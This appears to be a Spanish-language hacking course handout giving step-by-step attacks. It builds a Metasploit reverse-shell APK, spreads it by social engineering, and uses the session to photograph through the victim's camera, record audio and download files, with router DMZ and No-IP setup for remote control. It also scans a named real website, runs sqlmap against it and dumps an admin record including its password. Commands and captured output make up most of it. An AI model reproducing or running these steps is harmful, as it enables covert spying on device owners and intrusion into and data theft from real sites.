SUMMER HACK 2



Herramientas :

Metasploit Nmap Consola o terminal Phyton SQLMap Photorec

1.-Ataque a Dispositivos Android con Metasploit

- 1.-Consola de Metasploit
- 1.1.-busqueda de módulos y exploits para Android
- 2.1.-Creacion de un ".Apk" infectado para su instalación en un sistema Android
- 2.2.-Instalacion del ".Apk" (intervención del usuario)
- 3.-Explotacion Local y Remota
- 3.1.-Acceso local al dispositivo
- 3.2.-Manejo de la sesión "meterpreter" en el Dispositivo infectado
- 3.3.-Conociendo las cámaras de fotografía del dispositivo
- 3.4.-Tomando fotografías con el Dispotivo (cámara frontal y delantera)
- 3.5.-Robo de información, fotografías, bd de whatsapp (en caso de tener)
- 3.6.-Explotacion Remota

3.6.1.-Conociendo nuestra infraestructura (provedor de servicio, Modem, Velocidad de conexión)

- 3.6.2.-Conociendo el Servicio No-ip + creación y configuración de nuestro modem
- 3.7.-Explotacion 100% remota.

2.-Automatizando ataques con la herramienta "SQL-Map"

- 1.-Inyeccion SQL . ¿Qué es?
- 2.-Factores que propician esta vulnerabilidad
- 3.-Instalacion de la herramienta SQL MAP
- 4.-Instalacion de Phyton (Windows)
- 5.-Conociendo la herramienta SQL MAP
- 6.-Conociendo a nuestro objetivo
- 6.1.-Nmap Scanner
- 6.2.-Whois
- 6.3.-Obtencion de Mails mediante script en phyton
- 7.-Obtencion de Datos de Mysql
- 8.-Obtencion de Usuarios
- 9.-Buscando el Panel de Administracion mediante la herramienta "Dir Buster"
- 10.-Instalando el Entorno grafico de "SQL-Map"

3.- Recuperación de Datos mediante consola

- 1.-Conociendo el Software "PhotoRec"
- 2.-Instalacion y creación de Alias
- 3.-Perdiendo/Borrando Datos en una USB/HDD
- 4.-Ejercicio de Recuperacion
- 5.-Analisis de Datos
- 6.-Recuperacion de Archivos a nivel Forense

1.-Ataque a Dispositivos Android con Metasploit



Iniciamos abriendo nuestra consola de Metasploit

Verificamos los exploits y módulos disponibles :



Crearemos un **".Apk"** con infección para la obtención de una sesión con meterpreter de manera remota y local.



1.-Entramos en la carpeta de instalación , en este caso la ruta de instalación en mi computadora es la siguiente "/opt/msf"

MacBook-Pro-de-Makuaz:/ Makuaz\$ cd /opt/msf/ MacBook-Pro-de-Makuaz:msf Makuaz\$ pwd /opt/msf

DATOS DE CONEXIÓN E INFRAESTRUCTURA UTILIZADOS DURANTE ESTE ATAQUE

ATACANTE IP : 192.68.1.252 PUERTO ATACANTE : 6789

VICTIMA : 192.168.1.219

2.-Una vez en la carpeta de instalación de Metasploit usaremos el siguiente comando

"./msfpayload android/meterpreter/reverse_tcp LHOST=IP_LOCAL/NO-IP LPORT=PUERTO R > /RUTA/nombre_de_la_app.apk"

"./msfpayload android/meterpreter/reverse_tcp LHOST=**192.168.1.252** LPORT=**6789** R > /RUTA/hacking_mexico.apk"

3.-Creacion de la aplicación para Android.



Nombre hacking_mexico.apk Clase Documento Tamaño 10 KB Creación hoy 20:16 Modificación hoy 20:16 Última apertura hoy 20:16

4.-Conociendo a nuestro objetivo



Ficha Técnica Tablet PC – iT780

7 pulgadas 800X480 TFT imágenes claras y coloridas 5-puntos "capacitive touch screen" para fácil operación Memoria Interna: 8GB DDR3: 512MB y con T-Flash Externa hasta 32GB Wifi con velocidad: 150Mbps Compatible con señal 3G

5.-Instalacion del ".Apk" infectado

En esta parte del proceso se requiere intervención del usuario para instalar la aplicación en el dispositivo.

Hay muchas maneras de hacerlo una de ellas es la ingeniería social.

En este Caso he enviando la aplicación por correo electrónico y procedí a la instalación.





Descarga e instalación del ".Apk"



Vicepresidente





6.-Explotacion Mediante Metasploit

Continuamos Posicionados en la carpeta de instalación, y procedemos a ejecutar el siguiente comando.

"./msfcli exploit/multi/handler PAYLOAD=android/meterpreter/reverse_tcp LHOST=**IP_LOCAL/NO-IP** LPORT=**PUERTO** E "

"./msfcli exploit/multi/handler PAYLOAD=android/meterpreter/reverse_tcp LHOST=**192.168.1.252** LPORT=**6789** E "



Como podemos observar el **payload** esta esperando la conexión con la Tablet , en este caso es necesario ejecutar la aplicación en el dispositivo.

PAYLOAD => android/meterpreter/reverse_tcp LHOST => 192.168.1.252 LPORT => 6789 [*] Started reverse handler on 192.168.1.252:6789 [*] Starting the payload handler...

PAYLOAD => android/meterpreter/reverse_tcp LHOST => 192.168.1.252 LPORT => 6789 [*] Started reverse handler on 192.168.1.252:6789 [*] Starting the payload handler... [*] Sending stage (39698 bytes) to 192.168.1.219 [*] Meterpreter session 1 opened (192.168.1.252:6789 -> 192.168.1.219:49423) at 2013-

09-17 12:20:57 -0500

meterpreter >

una vez obtenida la sesión de meterpreter , vamos a revisar las opciones disponibles mediante el comando "help".

meterpreter > help

Description
Help menu
Backgrounds the current session
Kills a background meterpreter script
Lists running background scripts
Executes a meterpreter script as a background thread
Displays information about active channels
Closes a channel
Disables encoding of unicode strings
Enables encoding of unicode strings
Terminate the meterpreter session
Help menu
Displays information about a Post module
Interacts with a channel
Drop into irb scripting mode
Load one or more meterpreter extensions
Terminate the meterpreter session
Reads data from a channel
Run the commands stored in a file
Executes a meterpreter script or Post module
Deprecated alias for 'load'
Writes data to a channel

Stdapi: File system Commands

Command	Description
cat	Read the contents of a file to the screen
cd	Change directory
download	Download a file or directory
edit	Edit a file
getlwd	Print local working directory
getwd	Print working directory

lcd	Change local working directory
lpwd	Print local working directory
ls	List files
mkdir	Make directory
pwd	Print working directory
rm	Delete the specified file
rmdir	Remove directory
search	Search for files
upload	Upload a file or directory

Stdapi: Networking Commands

Comman	d Description
ifconfig	Display interfaces
ipconfig	Display interfaces
portfwd	Forward a local port to a remote service
Toule	view and mouny the fouling lable

Stdapi: System Commands

Command	Description
execute	Execute a command
getuid	Get the user that the server is running as
ps	List running processes
shell	Drop into a system command shell
sysinfo	Gets information about the remote system, such as OS

Stdapi: Webcam Commands

Command	Description
record_mic webcam_list webcam_snap	Record audio from the default microphone for X seconds List webcams Take a snapshot from the specified webcam

Utilizamos el comando "sysinfo" y vemos que datos arroja :



meterpreter > sysinfo Computer : localhost OS : Linux 3.0.8+ (armv7l) Meterpreter: java/java

Comando "webcam_list", para listar las cámaras web en el dispositivo.



Comando "webcam_snap", para tomar una foto en tiempo real con el dispositivo.





Comando "ifconfig", para revisar las interfaces de red y la mac address del equipo.

meterpreter > ifconfig

Interface 1

Name : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2

Interface 3

Interface 4

Interface 5

IPv4 Address : 192.168.1.219 IPv4 Netmask : 255.255.255.0 IPv6 Address : fe80::204:5ff:fe00:c89c IPv6 Netmask : ::

Comando "record_mic", para grabar audio con el dispositivo :



Comando "ps", para listar los procesos que están corriendo en el dispositivo.

<u>meter</u> Proce	p <u>reter</u> > ps		
======	======		
PID	Name	Arch	User
1	/init		root
2	kthreadd		root
3	ksoftirqd/0		root
6	rcu_kthread		root
7	cpuset		root
8	khelper		root
9	netns		root
10	suspend		root
11	sync_supers		root
12	bdi-default		root
13	kintegrityd		root
14	kblockd		root
15	khubd		root
16	cpufreq uevent		root
17	cfg80211		root
19	usb-hardware-sc		root
20	rpciod		root
21	kswapd0		root
22	ksmd		root
23	fspotify mark		root

Comando "ls", para listar los archivos.

<u>meterpreter</u> > ls				
Listing: /data/da	ta/com.	metasp ======	loit.stage/files =======	
Mode	Size	Туре	Last modified	Name
100666/rw-rw-rw-	4008	fil	2013-09-17 12:20:59 -0500	vizkfkktreoquoowulnt.dex
100666/rw-rw-rw-	1993	fil	2013-09-17 12:20:57 -0500	vizkfkktreoquoowulnt.jar
100666/rw-rw-rw-	97240	fil	2013-09-17 12:21:00 -0500	yfhkcmiimxxbnujjulnw.dex
100666/rw-rw-rw-	37661	fil	2013-09-17 12:20:59 -0500	yfhkcmiimxxbnujjulnw.jar

Comando "pwd", para ver en que carpeta o phat estamos posicionados.

meterpreter > pwd
/data/data/com.metasploit.stage/files

Nos Posicionamos en la ruta "/mnt/sdcard/Pictures/" que en este caso es la ruta donde la Tablet guarda las fotos en la memoria externa.

meterpreter > cd /mnt/sdcard/Pictures
meterpreter >ls

<pre>meterpreter > ls</pre>			C. Decknop		
Listing: /mnt/sdc	ard/Pict	ures			
	=======	====			
Mode	Size	Туре	Last modified		Name
100666/rw-rw-rw-	269588	fil	2012-12-04 07:50:02	-0600	01.jpg
100666/rw-rw-rw-	315529	fil	2012-12-04 07:50:02	-0600	02.jpg

Ahora descargaremos una foto a nuestro escritorio mediante el comando "download".

meterpreter > download 01.jpg /Users/Makuaz/Desktop meterpreter > download 01.jpg /tu_/ruta/



Cerramos la sesión de meterpreter con el comando "exit".



Explotación Remota

La explotación Remota consiste en poder infectar un dispositivo android , no importa en que estado de la republica o país se encuentre , con este tipo de explotación podremos obtener la sesión de "meterpreter" remota.



Conociendo nuestra infraestructura (proveedor de servicio , Modem , Velocidad de conexión)

Para poder hacer la explotación remota debemos conocer bien nuestra infraestructura de red y de proveedor de servicio de internet.

-Modem

modelo y conocer la entrada al panel de la configuración

-Ethernet o WIFI?

Cable rj45 o inalámbrico

-Conexión

De forma opcional debemos hacer una prueba de conexión para saber a cuantos megas navegamos.

Suponiendo que contamos con un modem 2wire de Telmex y conociendo que es inalámbrico, procederemos a abrir los puertos mediante una sencilla configuración.

Por lo regular la configuración del modem es a través de la ip "192.168.1.254" (obviamente debemos estar conectados)

Abrimos nuestro navegador y nos dirigimos a la dirección "192.168.1.254" en algunos módems nos pedirá el usuario , el cual es "Telmex" y la contraseña es "la clave wep".



Ingresamos a la administración del modem .



Entramos a la configuración de "Bloqueo de Intrusos".

HAZ CLICK EN	Sistema	Enlace de Banda Ancha	Red Doméstica	Blo	Soqueo ntrusos
e <u>Resumen</u> Configur	ación del bloqueo d	e intrusos Co	nfiguración ava	nzada	
Ver resumen o	lel bloque	o de intru	SOS		
Configuración de	el bloqueo d	e intrusos			
El bloqueo actividad una aplic bloqueo bloqueo	de intrusos ac eo de intrusos blo es no deseadas ación que requie de intrusos, haga de intrusos, situa	tivo pouea activamer provenientes de ere la apertura d a clic en Configu do más arriba.	nte el acceso Internet. Si u e un puerto e ración del	de Itiliza In el	
Configuración actual:	Personalizada				
Dispositivo	Aplicaciones permitidas				
189.191.121.219	Todas	189.19	1.121.219		
			VER DE	TALLES	

En este ejemplo la computadora del lado derecho llamada "Makuaz-Private" es la que esta conectada a la red , ahí puede ser tu equipo y debes identificarlo con el nombre que le hayas puesto a tu pc .

Juan Angel Osorio Juárez

Vicepresidente



Modificar configuración del sistema de bloqueo de intrusos

Configuración			0
De modo predeterminado, el bloqueo de intrus permitir el acceso desde Internet a aplicacione la red doméstica segura, habilite los puertos d de puertos de acceso se denomina también re Para ello, asocie la aplicación que desee con l encuentra un listado de dicha aplicación, podr (para ello, necesitará información relativa al pu	os bloquea el ac s que se ejecuta e acceso del bloo direccionamiento a computadora o á crear un perfil erto y al protoco	cceso no autorizado desde Interne n en computadoras que forman p queo de intrusos. La apertura de e o de puertos del bloqueo de intrus que se indica a continuación. Si ne de aplicación definido por el usua lo).	et. Para arte de este tipo sos. <u>Restablecer la</u> o <u>confajuración del</u> rio
Para permitir que los usuarios accedan las	aplicaciones a	lojadas a través del bloqueo de	e intrusos
 Seleccionar una computadora 			
Seleccionar la computadora que alojará la	s aplicaciones a	través del bloqueo de intrusos:	M4ku4z-Private ‡
Modificar la configuración del bloques de	Intrusos corros	nondianta a asta computadora:	
Modificar la configuración del bioqueo de	intrusos corres	pondiente a esta computadora.	
Protección máxima – No permitir tráfic	o de entrada no	solicitado.	
Permitir aplicaciones individuales – S	eleccione las ap	licaciones que pueden entrar a es	sta computadora a través del
bloqueo de intrusos. Haga clic en AGR	EGAR para agre	garlas a la lista Aplicaciones aloja	adas.
Todas las aplicaciones 🗘	¢.	plicaciones alojadas:	
Age of Empires			
Age of Kings			
Age of Wonders	Lease and		
Anarchy Online	AGREGAR		
Asheron's Call			
Asistencia remota de XP	QUITAR		
Baldur's Gate			
BattleCom Battlefield Communicator			
Saccielleia communicator			
 Acrosor una pueva collegaión definida por - 			

Escojemos "Permitir todas las Aplicaciones (modo DMZplus (Zona desmilitarizada), y damos aceptar.

Modificar la configuración del bloqueo de in	trusos corres	spondiente a esta comput	adora:
Protección máxima – No permitir tráfico /	de entrada no	solicitado.	
Permitir aplicaciones individuales – Sel bloqueo de intrusos. Haga clic en AGREC	eccione las ap 3AR para agre	olicaciones que pueden en egarlas a la lista Aplicacion	trar a esta computadora a través del es alojadas.
Todas las aplicaciones \$		Aplicaciones alojadas:	
Age of Empires	1		
Age of Kings			
Age of Wonders			
Aliens vs Predator	AGREGAR		
Anarchy Online			
Asheron's Call			
Asistencia remota de XP	QUITAR		
Baldur's Gate			
BattleCom			
Battlefield Communicator			
Agregar una nueva aplicación definida por el u	usuario		
Permitir todas las aplicaciones (modo D modo DMZplus, Todo el tráfico entrante, e)MZplus(Zona	desmilitarizada)) – Config se asignó específicamente	gure la computadora seleccionada e a otra computadora mediante la
función "Permitir aplicaciones individuale	s", se dirigirá a	automáticamente a esta co	mputadora. La computadora en mod
DMZplus es menos segura, ya que todos	los puertos no	o asignados del bloqueo de	intrusos están abiertos para la misr
Computadora con DMZplus actual: 189.1	191.121.219		
Computadora con DMZplus actual: 189.1 Nota: Tras seleccionar el modo DMZplus y ha computadora seleccionada. Para obtenerla, la	L91.121.219 acer clic en REA computadora d	LIZADO, el sistema proporcio ebe estar establecida en modo	nará una nueva dirección IP a la DHCP. A continuación, deberá

Una vez hecho esto Reiniciamos el modem para que se apliquen los cambios.

Juan Angel Osorio Juárez

Vicepresidente



¿Está seguro de que desea reiniciar el sistema?



Una vez reiniciado vamos a verificar que dirección ip tenemos con la ayuda de google y la siguiente pagina :

http://www.cual-es-mi-ip.net cuál es mi ip

¿qué es ip? el protocolo de internet (ip, Internet Protocol) es un protocolo utilizado para la comunicación de datos a través de una red de paquetes combinados.

¿qué es una dirección ip?

es un número que identifica a una interfaz de cualquier dispositivo de red.

ips públicas / privadas

- pública: una única ip que identifica nuestra red desde el exterior.
- privada: una ip que identifica a un dispositivo conectado en nuestra red interna.

mi ip

189.191.121.219

prueba el nuevo test de velocidad

Visita nuestra Comparativa ADSL y cable con todas las ofertas actuales

mis datos

paso por proxy: no

Ahora Copiamos y pegamos en nuestro navegador , y por ejemplo en mi caso esta abierto el puerto para mi NAS.



Con esto ya tenemos todos los puertos abiertos, ¿pero que pasa si reinicio mi modem y/o se va la luz?, es claro que la ip va a cambiar y la explotación remota ya no funcionara ya que el apk infectado apunta a una ip en especifico y como ya no tenemos esa ip apuntando hacia nuestra pc y modem, dejara de funcionar.

3.6.2.-Conociendo el Servicio No-ip + creación y configuración de nuestro modem

Hacking

El Servicio no-ip nos proporciona un subdominio para poder utilizar nuestra ip , no importando si cambia.

El registro es bastante sencillo a través de su pagina . <u>http://www.noip.com</u> Una vez registrado accede a "add-host"

Add a host

Fill out the following fields to configure your host. After you are done click 'Create Host' to add your host.

• Own a domain name? Use your own domain name with our DNS system. Add or Register your domain name now or read more for pricing and features.					
Hostname Inform	ation				
Hostname:	zapto.org \$	0			
Host Type:	●DNS Host (A) ○DNS Host (Round Robin) ○DNS Alias (CNAME)	0			
	OPort 80 Redirect OAAAA (IPv6)				
IP Address:	189.191.121.215	0			
Assign to Group:	- No Group -	0			
Enable Wildcard:	Wildcards are a Plus / Enhanced feature. Upgrade Now!	0			

Escoges el nombre ejemplo: "apk_zombies" y el subdominio que gustes del lado derecho y da clic en "Add Host" y listo ya tienes un subdominio gratis apuntando a tu ip y tu pc.

3.7.-Explotacion 100% remota.

Una vez que tenemos configurado el modem en modo DMZ y el servicio No-ip apuntando a nuestro modem y pc, vamos a crear el apk infectado Pero esta vez en vez de poner ip vamos a poner el subdominio de No-ip.

Una vez en la carpeta de instalación de Metasploit usaremos el siguiente comando

"./msfpayload android/meterpreter/reverse_tcp LHOST=IP_LOCAL/NO-IP LPORT=PUERTO R > /RUTA/nombre_de_la_app.apk"

"./msfpayload android/meterpreter/reverse_tcp LHOST=apk_zombies.dominio.noip.com LPORT=6789 R > /RUTA/hacking_mexico.apk"

y listo seguimos los pasos anteriores.

1.-Inyeccion SQL . ¿Qué es?



Tomado de Wikipedia :

Inyección SQL es un método de infiltración de código intruso que se vale de una vulnerabilidad informática.

Presente en una aplicación en el nivel de validación de las entradas para realizar consultas a una base de datos.

El origen de la vulnerabilidad radica en el incorrecto chequeo y/o filtrado de las variables utilizadas en un programa que contiene, o bien genera, código SQL . Es, de hecho, un error de una clase más general de vulnerabilidades que puede ocurrir en cualquier lenguaje de programación y/o Script que esté embebido dentro de otro

Se conoce como Inyección SQL, indistintamente, al tipo de vulnerabilidad, al método de infiltración, al hecho de incrustar código SQL intruso y a la porción de código incrustado.

2.-Factores que propician esta vulnerabilidad

-Mala administración del servidor mysql

-Mostrar al usuario el error generado por la base de datos.

- -Darle al usuario de la base de datos que maneja el script o el cms permisos máximos
- -El no parametrizar las consultas SQL

-El no rechazar las peticiones con caracteres especiales

3.-Instalacion de la herramienta SQL MAP

Durante el Curso se entregara la herramienta SQL MAP la cual esta compresa solo basta con descomprimir en una carpeta deseada.



4.-Instalacion de Python (Windows)

Debido a que los sistemas operativos basados en Windows no cuentan con soporte nativo de "Python", te proporcionamos el software de instalación para que puedas ejecutar "SQL-Map" sin ningún problema.(32 y 64 bits).

5.-Conociendo la herramienta SQL MAP

Una vez instalado hay que aprender a usar "SQL Map" mediante el comando "python" Vemos los comandos Disponibles :

"MacBook-Pro-de-Makuaz:sqlmap Makuaz\$ python sqlmap.py --help Usage: python sqlmap.py [options]"

6.-Conociendo a nuestro objetivo

Durante el inicio del ataque es recomendable conocer a nuestro objetivo para saber con que estamos tratando , para ello usaremos las siguientes herramientas.

Nmap Whois

6.1.-Nmap Scanner

Nmap esta diseñado para conocer la infraestructura física y lógica de nuestra victima , nmap nos otorga , versión de los servicios y en que puertos esta corriendo dicho servicio.

Comando Completo "nmap <u>www.biobel.com.mx</u>"

Starting Nmap 6.25 (http://nmap.org) at 2013-09-18 00:19 CDT Nmap scan report for www.biobel.com.mx (209.160.42.120) Host is up (0.14s latency). rDNS record for 209.160.42.120: www.x-ti.com.mx Not shown: 989 closed ports PORT STATE SERVICE 21/tcp open ftp 25/tcp filtered smtp 53/tcp open domain 80/tcp open http 106/tcp open pop3pw 110/tcp open pop3 143/tcp open imap 1720/tcp filtered H.323/Q.931 **Escaneado Agresivo :** "nmap -sS -sV -O www.biobel.com.mx"

Starting Nmap 6.25 (http://nmap.org) at 2013-09-18 00:22 CDT Nmap scan report for www.biobel.com.mx (209.160.42.120) Host is up (0.11s latency). rDNS record for 209.160.42.120: www.x-ti.com.mx Not shown: 984 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd (before 2.0.8) or WU-FTPD 25/tcp filtered smtp 53/tcp open domain **ISC BIND 9.3.1** 80/tcp open http? 106/tcp open tcpwrapped 110/tcp open pop3 Dovecot pop3d 143/tcp open imap Dovecot imapd 1720/tcp filtered H.323/Q.931 2222/tcp open ssh OpenSSH 4.2 (protocol 2.0) 2967/tcp filtered symantec-av 4443/tcp filtered pharos 4445/tcp filtered upnotifyp 5801/tcp filtered vnc-http-1 6839/tcp filtered unknown 10000/tcp filtered snet-sensor-mgmt 20000/tcp open http MiniServ 0.01 (Webmin httpd)

Aggressive OS guesses: OpenWrt 0.9 - 7.09 (Linux 2.4.30 - 2.4.34) (91%), Linux 2.6.8 - 2.6.27 (91%), OpenWrt Kamikaze 7.09 (Linux 2.6.22) (90%), Linux 2.6.21 (90%), Linux 2.6.26 (90%), Linux 2.6.18 (89%), Linux 2.6.18 - 2.6.27 (89%), Linux 2.6.16 - 2.6.20 (89%), Linux 2.6.18 - 2.6.24 (89%), Linux 2.6.18-8.el5 (Red Hat Enterprise Linux 5) (89%) No exact OS matches for host (test conditions non-ideal). Service Info: Host: ESTAS

6.2.-Whois

Summer Hack 2

Conocer registrante del dominio y su dirección.

Comando completo en consola o terminal.

"whois http://www.biobel.com.mx"

Cadena_Invalida/Invalid_String

&PARAMETROS VALIDOS:

&NombreObjeto Busca en la base de datos de NIC Mexico el objeto solicitado.
&=NombreDominio Verifica la disponibilidad de un nombre de dominio.
&? Muestra este mensaje.

&NOTA: &Si se busca información sobre un dominio este debe pertenecer al ccTLD .mx

En este caso vemos que no arroja información relevante así que usaremos la siguiente URL para validar aun mas la información

http://who.is

Registrar Info		Site Status	3	
Name	GODADDY.COM, LLC	IP Address	208.73.211.230	
Whois Server	whois.godaddy.com	Status	inactive	
Referral URL	http://registrar.godaddy.com	Server Type	Apache-	
Status	clientDeleteProhibited, clientRenewProhibited, clientTransferProhibited, clientUpdateProhibited	Traffic Info	Coyote/1.1	
	,	25,465	▲ 6,609	
Important Dates		Alexa Trend/Ran	nk One Month 🚯	
Expires On	February 02, 2020	28,694	▼8,809	
Registered On	February 01, 1995	Alexa Trend/Ran	nk Three Month 🚯	
Updated On	May 19, 2013			
		1.2	▼0.85%	
Name Servers		Page Views Per	Visit One Month	
ns1.dsredirection.com	204.13.160.143	1.2	▼5.65%	
ns2.dsredirection.com	204.13.161.145	Page Views Per Visit Three Month		

Como podemos ver esta hospeado en Godaddy y tiene protección de privacidad . Ademas de que el dominio expira en febrero 2 del 2020.

6.3.-Obtencion de Mails mediante script en python

Ahora obtendremos los mails asociados mediante un script hecho en Python .

Xcode

hm_mail_dump.py

Ejemplo :

El script se encuentra en mi escritorio, desde consola me ubico en el escritorio

MacBook-Pro-de-Makuaz:sqlmap Makuaz\$ cd /Users/Makuaz/Desktop/ MacBook-Pro-de-Makuaz:Desktop Makuaz\$ pwd /Users/Makuaz/Desktop

Ejecutamos el script mediante el comando "python nombre_script.py + dominio"

Comando completo

"python hm_mail_dump.py www.biobel.com.mx"



6.3.1.- El website del objetivo (target)



6.4.-Buscando el error de mysql

http://192.168.1.104/biobel/bioexpresion.php?ba_id='



7.-Obtencion de Datos de Mysql , Manos a la obra

Comando Completo

MacBook-Pro-de-Makuaz:sqlmap Makuaz\$ "python sqlmap.py -u http://192.168.1.104/biobel/bioexpresion.php?ba_id="

Información Destacada :

[23:37:30] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 5.8
web application technology: PHP 5.3.23, Apache 2.2.3
back-end DBMS: MySQL 5.0
[23:37:30] [INFO] fetched data logged to text files under
'/Volumes/Datos/Documentos/hax0r/sqlmap/output/192.168.1.104'

[23:37:30] [INFO] the back-end DBMS is MySQL web server operating system: Linux CentOS 5.8 web application technology: PHP 5.3.23, Apache 2.2.3 back-end DBMS: MySQL 5.0 [23:37:30] [INFO] fetched data logged to text files under '/Volumes/Datos/Documentos/hax0r/sqlmap/output/192.168.1.104'

7.1.-Listar base de datos disponibles

Utilizaremos el comodín "--dbs" para listar las bases de datos disponibles , por lo regular las bases de datos se llaman igual que el dominio.

Donde "--dbs" = Base de Datos

Comando Completo *"MacBook-Pro-de-Makuaz:sqlmap Makuaz\$ python sqlmap.py -u http://192.168.1.104/biobel/bioexpresion.php?ba_id= --dbs"*

Información Destacada :

[23:42:10] [INFO] the back-end DBMS is MySQL web server operating system: Linux CentOS 5.8 web application technology: PHP 5.3.23, Apache 2.2.3 back-end DBMS: MySQL 5.0 [23:42:10] [INFO] fetching database names [23:42:10] [INFO] the SQL query used returns 5 entries [23:42:10] [INFO] the SQL query used returns 5 entries [23:42:10] [INFO] resumed: "information_schema" [23:42:10] [INFO] resumed: "biobel_web" [23:42:10] [INFO] resumed: "biotargas" [23:42:10] [INFO] resumed: "mysql" [23:42:10] [INFO] resumed: "test" available databases [5]: [*] biobel_web [*] botargas [*] information_schema

- [*] mysql
- [*] test

[23:42:10] [INFO] the back-end DBMS is MySQL	
web server operating system: Linux CentOS 5.8	
web application technology: PHP 5.3.23, Apache 2.2.3	
back-end DBMS: MySQL 5.0	
[23:42:10] [INFO] fetching database names	
[23:42:10] [INFO] the SOL query used returns 5 entries	
[23:42:10] [INFO] resumed: "information schema"	
[23:42:10] [INFO] resumed: "biobel web"	
[23:42:10] [INFO] resumed: "botargas"	
[23:42:10] [INFO] resumed: "mysql"	
[23:42:10] [INFO] resumed: "test"	
available databases [5]:	
[*] highel web	
[*] botargas	
[*] information schema	
[*] mysd]	
[] mysqc [#1 tect	
[-] test	
100.40.101 HINEO1 Artokad data larand ta taut Aller um	
[25:42:10] [INFO] Teteneu data Logged to text Tiles un	Jer / volumes/batos/bocumentos/naxor/sqlmap/output/192.168.1.104
[^] Snutting down at 23:42:10	

7.-2.-Obtencion de Tablas de la base de datos

Utilizaremos los comodines "--tables" "-D"

Comando Completo: MacBook-Pro-de-Makuaz:sqlmap Makuaz\$ *"python sqlmap.py -u* http://192.168.1.104/biobel/bioexpresion.php?ba_id= --tables -D biobel_web"

Información Destacada :

[23:46:28] [INFO] the back-end DBMS is MySQL web server operating system: Linux CentOS 5.8 web application technology: PHP 5.3.23, Apache 2.2.3 back-end DBMS: MySQL 5.0 [23:46:28] [INFO] fetching tables for database: 'biobel web' [23:46:28] [INFO] the SQL query used returns 21 entries Database: biobel web [21 tables] +----+ | admins | bio articulos | bio artirel | bio numeros | bio_relacionados 1 | categorias | clientes | contacto T | correos L | distribuidores | estados Ι | lanzamientos | lineas | mailing_clicks L | mailing envios | mailing_links | mailing vistas | productos | productos tratamientos | | slider | tratamientos +----+

7.3.-Usmeando en la tabla de usuarios o de administración.

Utilizaremos los siguientes comodines "--columns" "-D" "-T" Donde "--columns" = columnas Donde "-D" = Base de Datos Donde "-T" = Tablas

Comando Completo :

MacBook-Pro-de-Makuaz:sqlmap Makuaz\$ "python sqlmap.py -u http://192.168.1.104/biobel/bioexpresion.php?ba_id= --columns -D biobel_web -T admins"

Información Destacada :

[23:50:05] [INFO] the back-end DBMS is MySQL web server operating system: Linux CentOS 5.8 web application technology: PHP 5.3.23, Apache 2.2.3 back-end DBMS: MySQL 5.0 [23:50:05] [INFO] fetching columns for table 'admins' in database 'biobel web' [23:50:05] [INFO] the SQL guery used returns 6 entries [23:50:05] [INFO] resumed: "adm_id","smallint(6)" [23:50:05] [INFO] resumed: "username","varchar(16)" [23:50:05] [INFO] resumed: "password","varchar(16)" [23:50:05] [INFO] resumed: "type", "char(3)" [23:50:05] [INFO] resumed: "adm nombre", "varchar(24)" [23:50:05] [INFO] resumed: "adm apellido", "varchar(24)" Database: biobel web Table: admins [6 columns] +-----+ | Column | Type +-----+ | adm apellido | varchar(24) | adm id smallint(6) | adm nombre | varchar(24) | | password | varchar(16) | | type | char(3) | | username | varchar(16) | +-----+

8.-Obtencion de Usuarios (Dump de la tabla + Cracking de password)

Utilizaremos los siguientes comodines "--dump", "-D", "-T"

Donde "--dump" = Respaldo o dumpeo Donde "-D" = Base de Datos Donde "-T" = Tablas

Comando completo :

MacBook-Pro-de-Makuaz:sqlmap Makuaz\$ "python sqlmap.py -u http://192.168.1.104/biobel/bioexpresion.php?ba_id= --dump -D biobel_web -T admins"

Información Destacada :

23:56:20] [INFO] the back-end DBMS is MySQL web server operating system: Linux CentOS 5.8 web application technology: PHP 5.3.23, Apache 2.2.3 back-end DBMS: MySQL 5.0 [23:56:20] [INFO] fetching columns for table 'admins' in database 'biobel_web' [23:56:20] [INFO] the SQL query used returns 6 entries [23:56:20] [INFO] resumed: "adm_id","smallint(6)" [23:56:20] [INFO] resumed: "username","varchar(16)" [23:56:20] [INFO] resumed: "password","varchar(16)" [23:56:20] [INFO] resumed: "type", "char(3)" [23:56:20] [INFO] resumed: "adm_nombre","varchar(24)" [23:56:20] [INFO] resumed: "adm apellido", "varchar(24)" [23:56:20] [INFO] fetching entries for table 'admins' in database 'biobel web' [23:56:20] [INFO] the SQL query used returns 1 entries [23:56:20] [INFO] resumed: "Tapia","3","Arturo","6!","ADM","admin" [23:56:20] [INFO] analyzing table dump for possible password hashes Database: biobel web Table: admins [1 entry] | adm id | adm apellido | type | username | password | adm nombre | +-----+ 3 | Tapia | ADM | admin | 6! | Arturo | +-----+

8.1.-Respaldo (DUMP)

[23:56:20] [INFO] table 'biobel_web.admins' dumped to CSV file
'/Volumes/Datos/Documentos/hax0r/sqlmap/output/192.168.1.104/dump/biobel_web
/admins.csv'
[23:56:20] [INFO] fetched data logged to text files under
'/Volumes/Datos/Documentos/hax0r/sqlmap/output/192.168.1.104'

[*] shutting down at 23:56:20

9.-Buscando el Panel de Administración mediante la herramienta "Dir Buster"

OWASP DirBuster 0.9.10 - Web Application Brute Forcing
File Options About Help
DirBuster - Web Application Directory and File Brute Forcer
Target URL
Work Method OET only Auto Switch (HEAD and GET)
Number Of Threads
Select scanning type: List based brute force Pure Brute Force
File with list of dirs/files
Browse List Info
Char set a-zA-Z0-9%20 Min length 1 Max Length 8
Select starting options: Standard start point URL Fuzz
Image: Security of the start with Image: Security of the start with
Survey Brute Force Files Use Blank Extention File extention php
URL to fuzz - /test.html?url={dir}.asp
Exit Start
Please complete the test details

La herramienta se ejecuta al hacer doble clic (Windows) sobre el .jar

9.1-Brute Force de Directorios "Dir-Buster"

000	OWASP DirBuster 0.9.10	- Web Application Bru	ite Forcing			
File Options	About Help					
DirBuster - Web	Application Directory and File Brute Forcer					
http://192.168.1.	104:80/biobel/					
Туре	Found	Response	Include	Status		
Dir	/biobel/	200	\checkmark	Scanning		
Dir	/biobel/pdf/	200	$\overline{\checkmark}$	Waiting		
Dir	/biobel/admin/	200	\checkmark	Waiting		
Dir	/biobel/flash/	200	\checkmark	Waiting		
Dir	/biobel/upload/	200	\checkmark	Waiting		
Dir	1	403		Waiting		
Dir	/biobel/css/	200	\checkmark	Waiting		
File	/biobel/index.php	200				
